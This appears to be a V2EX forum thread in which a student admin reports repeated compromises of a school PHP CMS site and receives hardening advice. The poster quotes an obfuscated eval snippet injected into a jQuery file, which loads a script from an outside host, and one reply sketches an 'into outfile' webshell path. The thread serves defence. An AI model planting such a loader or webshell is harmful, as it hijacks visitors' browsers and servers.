Apache 错误日志被灌满, 菜鸟被黑客欺负,求助

2017-06-26 21:47:40 +08:00
 syncher

问题描述

这几天网站被黑客盯上了,因为安全做得不好,被黑客攻击了好几次。

  1. 第一次攻击是发上在一个月以前,黑客在首页引入的 jQuery-1.8.0.js 中写入一行 js 代码,
var str="cnbtldms-vqhsd '!;rbqhos rqb<[!gsso9..vvv-  fnnfkd`crk-bnl.robncd.iptdqx-  
ir[!=;.rbqhos=!(:";  
var length=str.length;var ba64="";for(i=0;i<length;i++){var   
s=str.charCodeAt(i);s++;ba64=ba64+String.fromCharCode(s)}eval(ba64); 
        

翻译后是

document.write ("<script src=\"http://www.googleadsl.com/spcode/jquery.js\"></script>")

导致的结果是打开网站几秒后跳转到一个色情页面,页面太美,不忍直视。但是 ll 查看文件的时候并没有发下这个文件的修改时间异常,可笑的是当天的登陆日志被清空了,后来改了 root 账号的密码。
2. 第二次攻击是发生在一周以后,攻击方式和第一次一样。
3. 第三次攻击发生在上周。上周四早上打开一个页面的时候突然发现服务器 500 异常,然后登陆服务器查看站点目录, stat filename 发现站点下有一个目录下的所有文件均在该日凌晨 5:16 分左右被修改。打开内容一看,画面惨不忍睹。
4. 最后一次被攻击是今天,今天网站有奔溃了,我也几乎要奔溃了(下周就要实习了,还有 5 门课程要复习)。连接服务器 df -h 发现磁盘满了,然后 du -h --max-depth=1 发现 /var/log/ 目录占用大量内存,进去查看发现 Apache 的错误日志有 25 个 G,tailhead一下,发现是我 PHP 没有配置时区报错,错误信息主要来自一个内网 IP。

[Mon Jun 26 18:13:28 2017] [error] [client 202.118.80.240] PHP Warning:  mktime(): It  
is not safe to rely on the system's timezone settings. You are *required* to use the   
date.timezone setting or the date_default_timezone_set() function. In case you used   
any of those methods and you are still getting this warning, you most likely  
misspelled the timezone identifier. We selected 'Asia/Chongqing' for 'CST/8.0/no DST'  
instead in /xxxxx/cal_day.php on line 163, referer: xxxxxx.com 

[Mon Jun 26 18:13:28 2017] [error] [client 202.118.80.240] PHP Warning:  date(): It  
is  not safe to rely on the system's timezone settings. You are *required* to use the   
date.timezone setting or the date_default_timezone_set() function. In case you used   
any of those methods and you are still getting this warning, you most likely   
misspelled   the timezone identifier. We selected 'Asia/Chongqing' for 'CST/8.0/no   
DST' instead in /xxxx/cal_header.inc.php on line 271, referer:  
http://xxxx/cal_search.php

解决方案

  1. 我一个做后端的小白面对这种安全问题基本是束手无策,被攻击后主要是靠恢复备份文件来解决的。
  2. 因为没有资金支持,所以只用免费的 web360 扫描过,给出的建议也基本做了(难过的是也没有技术大佬支持 org )。
  3. 数据库使用的是 root 账号,打算降低数据库的权限,改为普通账号。
  4. 防火墙策略限制了,只开放箱 80,8080 这些常用端口。ssh 学校总部限制了,外网一般连接不上服务器,查看登录日志页正常。

真心求助

真心希望各位大佬帮忙分析一下这可能是什么漏洞?该怎么进行防范?十分感谢。
写得有点多,小白刚入坑,遇到这种问题各位看笑话了。因为网站是学校的,所以连接不敢随便放在这里,各位见谅。

2696 次点击
所在节点    问与答
30 条回复
syncher
2017-06-26 23:01:14 +08:00
没有大佬回复好桑心。。
wsy2220
2017-06-27 00:24:04 +08:00
服务器重装系统,用最新的发行版,经常更新
ryd994
2017-06-27 00:44:21 +08:00
什么网站? Wordpress ?
什么服务器? Apache?Nginx?
什么数据库? MySQL ? MongoDB ?
权限控制做了么?
ssh 外网不能连不代表内网都是好人
davidyin
2017-06-27 02:37:06 +08:00
从服务器重装开始做。
syncher
2017-06-27 07:29:58 +08:00
@ryd994 CMS 系统
环境是 CentOS 7 + Apache + MySQL + PHP
syncher
2017-06-27 07:30:44 +08:00
@davidyin @wsy2220 谢谢
herozzm
2017-06-27 08:08:14 +08:00
cms 可能有漏洞,漏洞没堵住,怎么装操作系统都没有用,cns 换成最新版本
herozzm
2017-06-27 08:08:39 +08:00
cns=cms
syncher
2017-06-27 08:17:15 +08:00
@herozzm 嗯,从攻击来看应该是 XSS 攻击,更新版本是不太可能了。系统庞大而杂,领导让我们把一个系统的多个版本嵌在一起了,还有有很多小系统,小功能是自己开发的,升级不太现实了。
des
2017-06-27 08:40:00 +08:00
先重装,不要用 root 跑这些东西,www 目录除了可上传目录外只读,可上传目录不让 php 执行。

如果可以的话用 selinux
syncher
2017-06-27 08:42:06 +08:00
@des 谢谢。
fucker
2017-06-27 09:31:17 +08:00
不一定是 root 账户失窃。
看你描述,目测一下
php 版本可能是 5.x,没做过滤, gpc=off,
mysql 直接用 root 登录的吧
网站目录权限 777 或 775
如果真是 root 账户被盗取,那你肯定没有修改 sshd 监听端口

建议:
备份数据库,重新搭个环境啦。
mysql 每个库对应一个用户,权限也只给对应库的操作权限
php 建议开魔术引号,如果过滤做不好的话,一些危险的函数建议禁用,危险的操作一定要过滤或写死
目录的话按照#10 @des 的建议没有问题
修改 sshd 端口并上传公钥

估计是黑客通过 注入+mysql / 上传 / 命令执行 的问题在你的 web 目录下生成了 webshell,然后你的 web 目录权限又不严谨,就直接挂广告了。可能是某黑产牛吧(瞎猜)。
fucker
2017-06-27 09:36:08 +08:00
#12 的回复没看到#5 =-= 瞎了,还自己目测了一遍,尴尬。
楼主方便透露一下 cms 和它的版本信息吗
fucker
2017-06-27 09:37:39 +08:00
:cry: 也没有看到楼主自己说的 mysql 用 root 用户,我真的瞎了,看眼病去。。。
syncher
2017-06-27 09:39:26 +08:00
@fucker 先谢谢您。PHP 是 5.4 吧,是 5.x。MySQL 是用 root 登录的,回去我就修改,降低权限。网站根目录权限 700,属于 apache 用户,sshd 端口改了。回头按照您的建议加强防范
syncher
2017-06-27 09:41:44 +08:00
@fucker #13 PHP 云系统 1.0 和 4.0 组合使用
fucker
2017-06-27 09:47:04 +08:00
我又仔细看了一下帖子,现在估计可能是这样的
1.cms 存在注入漏洞,黑客利用注入以及 php 的报错信息,获得了网站的物理路径,然后利用 mysql 的 ` select 0xXXXXX into outfile '/path/to/website' ` 得到了一个 webshell,从而控制网站。(最有可能)
2.cms 存在注入漏洞 /任意文件读取,黑客通过注入 /任意文件读取(万一 CMS 作者是个极品,把帐号放配置文件里了呢)获得管理员帐号密码并扫描出后台,登录,上传 webshell (可能性略低)
3.cms 存在命令执行漏洞,然后`echo >` 或 file_put_contents 得到 webshell (可能性最低)
fucker
2017-06-27 09:48:15 +08:00
@syncher PHP 云人才系统(PHPYun) 是这个 ?
syncher
2017-06-27 09:50:19 +08:00
@fucker 是的
fucker
2017-06-27 09:50:20 +08:00
@syncher 补一点
前面你说“可笑的是当天的登陆日志被清空了,后来改了 root 账号的密码。”和“发现是我 PHP 没有配置时区报错,错误信息主要来自一个内网 IP。”,估计你们内网已经沦陷了。

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/371232

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX